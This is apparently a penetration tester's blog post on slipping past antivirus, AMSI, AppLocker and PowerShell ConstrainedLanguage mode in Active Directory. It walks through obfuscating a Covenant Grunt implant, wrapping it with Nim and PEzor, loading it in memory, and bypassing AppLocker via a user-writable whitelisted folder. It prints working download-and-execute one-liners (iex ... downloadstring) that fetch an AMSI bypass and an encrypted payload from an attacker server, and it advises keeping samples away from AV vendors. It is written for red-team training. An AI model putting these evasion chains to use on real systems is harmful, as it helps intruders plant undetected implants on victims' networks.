Sailing Past Security Measures In AD
Today we´re going to talk a little about possible ways to circumvent some of the security measures one might face during an engagement in an Active Directory environment.
We as pentesters are heavily relying on our tools like Bloodhound, Rubeus, mimikatz and all the other fancy stuff. Be it for an internal assessment or a Red Team campaign.
But the Blue Team is not at sleep, trying to keep the bad guys outside with their newest AI machine learning cyber tools.
So how can we safely run our tools?
How are we able to bypass AV?
What can be done against AppLocker?
What about PowerShell´s ConstrainedLanguage Mode?
AMSI who?
Please excuse all the screenshots in german language. It seems I am too dumb to change OS language in my lab. I promise to do better next time.
Introduction
During pentests or Red Team assessments, it all comes down to our beloved toolbox, containing all the usefull and naughty stuff of a pentester´s every day life.
The problem to us is that there are three kind of people outside there.
The first group being the security researchers who develop and publish these tools with the goal of providing knowledge and to rise awareness.
The second group is (besides their own tools) using these tools and techniques to carry out attacks on governments, companies and people.
The last group is trying to keep up with the first two groups by developing and implementing detection mechanisms and countermeasures to defend against the bad guys.
In order to proof to our customers how good (or bad) they are at playing the defender game, we take the role of the attackers, mimicing their behaviour, toolsets and techniques, and see how far we can get.
This blog-post will be all about (at least some of) the tools and tactics we can use to stay under the radar and have our software stay untouched from AV and co.
So let´s consider an on-site pentest. We arrive at the customer, pull out our sticker-bombed laptop to impress the IT-guys, and are handed over credentials for a low priv domain-account and eventually a domain joined test-machine from which we can start our work.
The next thing is we will most likely want to gather some intel, so we copy our Rubeus.exe to the thumbdrive and plug it into the test-machine.
BAMMM - deleted!
AV flagged our tool because it is known to do harmful stuff, and the bad guys tend to abuse it´s functionalities.
Well that´s just one of the possible situations you might run into. So let´s walk through some of the ones I faced during my work and (mostly) learning times in the next sections of this blog-post.
Bypassing AV
If we consider traditional anti virus software (and even today they work like this - at least in parts), they all have some kind of database which contains like hashes or byte sequences of known malicious files, strings that are known the be in evil software (hello sekurlsa::logonpasswords) and so on. These are updated as soon as the vendor is able to spot new threats and sold as Threat Intel.
So whenever an AV is able to investigate file-based actions, e.g. when you open a file, and AV hooks in and does a check of the content inside, it will perform it´s tasks to evaluate what it sees against its database, and as a result will give you thumbs up or down.
So our option here is obvious:
Every publicly available tool or technique you use out of the box will sooner or later get flagged by the AV vendors by integrating according detection mechanisms into their database.
That´s where obfuscation comes into play. If you haven´t done so already, I highly recommend you take your time to read through some of s3cur3th1sh1t´s blog posts related to this topic.
Obfuscation can be as simple as doing string replacements or as complex as encrypting whole binaries that unfold at runtime.
String replacement
Let´s take the following default code snippet from cobbr´s Covenant Grunt stager payload:
namespace GruntStager
{
public class GruntStager
{
public GruntStager()
{
ExecuteStager();
You can bet your ass that if some kind of AV sees the string GruntStager
it will fall into havoc.
Having that code in our VisualStudio we can highlight the string we want to replace and hit ctrl + r
to rename functions or variables or ctrl + shift + h
to find and replace strings throughout the whole project. We will also apply this to the public class and all other suspicious sounding parts we find and will eventually end up with something like this:
What we can also do is concatenating strings instead of replacing them. So that e.g. mimikatz
becomes 'mi'+'mik'+'atz'
.
In several cases this is enough to fool AV if done properly.
A usefull tool that comes in handy when you want to test your new code against Windows Defender or AMSI signatures is Raste Mouse´sThreatCheck. It will basically split your code into chunks of specific length and test it against the database of Windows Defender or AMSI, and tell you where in your code it gets flagged.
There are tools out there, that will do the obfuscation job for you. Feel free to have a look at the obfuscation section of my github repo, or just do some creative googling.
Wrapping and decrypting code
If you are actively following the InfoSec community on twitter, you will most probably stumble upon byt3bl33d3r´s Offensive Nim repo. These templates let you for example wrap your C# executable inside Nim and be compiled as C executable, thus hiding your content. Together with s3cur3th1sh1t they even developed it further, so that you can have an encrypted payload inside the Nim binary, and decrypt at runtime in memory. This will make it harder to reverse, if you have to put your files to disk, as decompiling will only reveal the encrypted C# stuff. To learn more on this you can check out Playing-with-OffensiveNim.
There are also tools like Ege Balci´s amber or phra´s PEzor, which will take C or C++ executables and reflectively load them into memory, adding some nice features like delayed execution too fool in memory scanners or avoiding AV user-land hooks and stuff. I don´t understand even half of the things that are going on here. But if you want to know more read phra´s blog regarding PEZor.
All the methods mentioned abovecan possibly help you obfuscate your code, so you don´t have to deploy the out of the box tools.
But be aware that by the time also the wrapper code will get flagged. I did a test with a simple hello world
C executable wrapped with PEZor, and I got like 21 hits on VirusTotal.
By now you should know what to do :) Obfuscate the templates.
Not touching the disk
Another approach is to not touch the disk with our malicious content, so that traditional AV is not able to catch us when reading or writing data.
The most well known technique to me is to use PowerShell´s native Invoke Expression function. It will allow you to download a script from a remote source and execute it in memory.
iex(new-object net.webclient).downloadstring('http://10.55.0.30/grunt.ps1')
Another possibility is to use Invoke-SharpLoader from - who would have thought it - S3cur3Th1sSh1t, to load and execute C# directly from memory.
Okay so let´s bypass Defender by not touching the disk and put our default Grunt payload directly into memory:
Fuck! Something went wrong. Looks like we got catched by AMSI which detected a Covenant payload.
We bypassed the signature based part of Defender for the filesystem stuff, but AMSI checked our script when we loaded it to memory, handed it over to Defender who then found the suspicious strings, flagging it as malicious.
A more precise explaination would be that the script itself didn´t get flagged, but the C# Grunt stager which is loaded via
Assembly::load
into powershell.
Thanks to s3cur3th1sh1t for the clarification at this point.
If you would like to know more about how AMSI works - read this post about AMSI and how to bypass it.
We can verify that it was AMSI by issuing one of the random bypasses from amsi.fail the AMSI bypass for C# from Rasta Mouse and see it working afterwards with all the Defender features still turned on:
I failed hard for several times with all the amsi.fail bypasses for the Grunt payload. Talking to my boss (you know the guy with the l33t name containing sh1t and stuff) it turns out that for C# payloads - the 1st and 2nd stage of the Grunt payload which are written in C# - you need to have a bypass in C#. You can see that the Rasta Mouse´s bypass is loading C# code in PowerShell via the Add-Type $Win32
statement at the beginning.
Holy moly, but that´s how it is. Thank you sir.
Chaining the tricks
Time has come to combine some of the techniques discussed.
For obvious reasons I played with Nim, Invoke-SharpLoader, PEZor and all the other crazy stuff.
My attempts to combine the parts to chain a stealthy attack resulted in two approaches that look like the following:
Grunt.exe -> Nim Wrapper -> PEZor -> local execution
Just to try to avoid local detection when copied to disk.
-
Create Grunt.exe
- Convert Grunt.exe to Nim byte array
CSharpToNimByteArray -inputfile .\GruntHTTP.exe
- Paste the byte array into the C# loader template and build the C executable
nim c --passL:-Wl,--dynamicbase,--export-all-symbols .\LoadCSharp.nim
- Wrap the C executable into PEZor
PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 /root/Desktop/Grunt_Nim.exe -z 2
-
Deploy
Tada - Grunt incoming
AppLocker & ConstrainedLanguage mode bypass -> Powershell load script -> AMSI bypass -> Invoke-SharpLoader -> Encrypted Grunt
If there wasn´t the AppLocker bypass needed, one could also run this completely from remote, i.e. in a phishing campaign starting with a .htm file or something like this, which runs our loader script.
The whole attack is carried out on a low priv account.
-
Identify a way to bypass AppLocker and ConstrainedLanguage
To check the current PS language mode we can run:
$ExecutionContext.SessionState.LanguageMode
We can issue the following PS cmdlet to identify all AppLocker policies in place:
Get-ApplockerPolicy -Effective -xml > c:\users\luemmel\Desktop\applocker.xml
We can see that the Everyone group is allowed to run stuff from C:\Program Files (x86)\hMailServer\*
We can further check the ACLs on that folder with the following PS cmdlet:
Get-Acl -path 'C:\Program Files (x86)\hMailServer\' | fl
Which shows us that the Users group has write access to that specific folder. Perfect - someone fucked up here. In Germany we say:”Hart verkackt.”
-
Bypass AppLocker and ConstrainedLanguage
So now that we know how - let´s get our hands dirty.
Compile xP3nt4´s PowerShdll and copy the dll to the client to *C:\Program Files (x86)\hMailServer\* and run it:
rundll32 'C:\Program Files (x86)\hMailServer\PowerShdll.dll',main -w
-
Prepare Invoke-SharpLoader
Encrypt our default Grunt.exe
. .\Invoke-SharpEncrypt.ps1 Invoke-SharpEncrypt -file C:\Tools_manual\nim-1.4.2\examples\Offensive\GruntHTTP.exe -password LuemmelSec -outfile C:\users\Luemmel\Desktop\Grunt_SharpLoader.enc
Host the encrypted file on our Covenant server under
Listeners -> listener -> Hosted Files -> + Create
Adapt the Invoke-SharpLoader script to directly load our encrypted payload from the webserver by adding this to the last line:
Invoke-SharpLoader -location http://10.55.0.30/Grunt_SharpLoader.enc -password LuemmelSec -noArgs
And host this file as well on our Covenant server under i.e. /Invoke-SharpLoader
-
Execute our Powershell load script
In the last step we put together a short script that we can call from our PowerShdll which looks like this:
iex(new-object net.webclient).downloadstring('http://10.55.0.30/amsibypass'); iex(new-object net.webclient).downloadstring('http://10.55.0.30/Invoke-SharpLoader');
Remeber AMSI is still in place here, so we need to bypass it - even inside PowerShdll. Luckily for us, Invoke-Sharploader has a integrated C# and ETW bypass, so we just take care for the normal PowerShell AMSI bypass beforehand.
Upload to our Covenant server under /init.
Guns loaded - give em hellAs you can see Defender would really like to upload our sample for further analysis but - nahhhh.
Conclusion
We have seen that the Blue Team has lots of possibilities to make an attackers life much harder.
Keep your security products up to date, and implement them correctly.
Make use of all the nice features that your OS or security product provider is offering you. We often find customers using an AV-product with nearly all features disabled. These are the cases giving us the easiest bypass possibilities.
Play with the stuff you learned here to get a better understanding of your infrastructure and detect your weakpoints.
For the Red Team side I have shown you some of the ways to try to slip past these protection mechanisms.
Go ahead and start playing with them on your own.
Build yourself a private toolset with your obfuscated tools.
And last but not least: Don´t submit samples to Microsoft nor to VirusTotal if you want to use them on your next assessment.
That´s it for now folks. Hope you enjoyed and happy pentesting.
If you want to practice all the crazy stuff and learn more, I highly recommend you take Rasta Mouse´s RTO course and exam.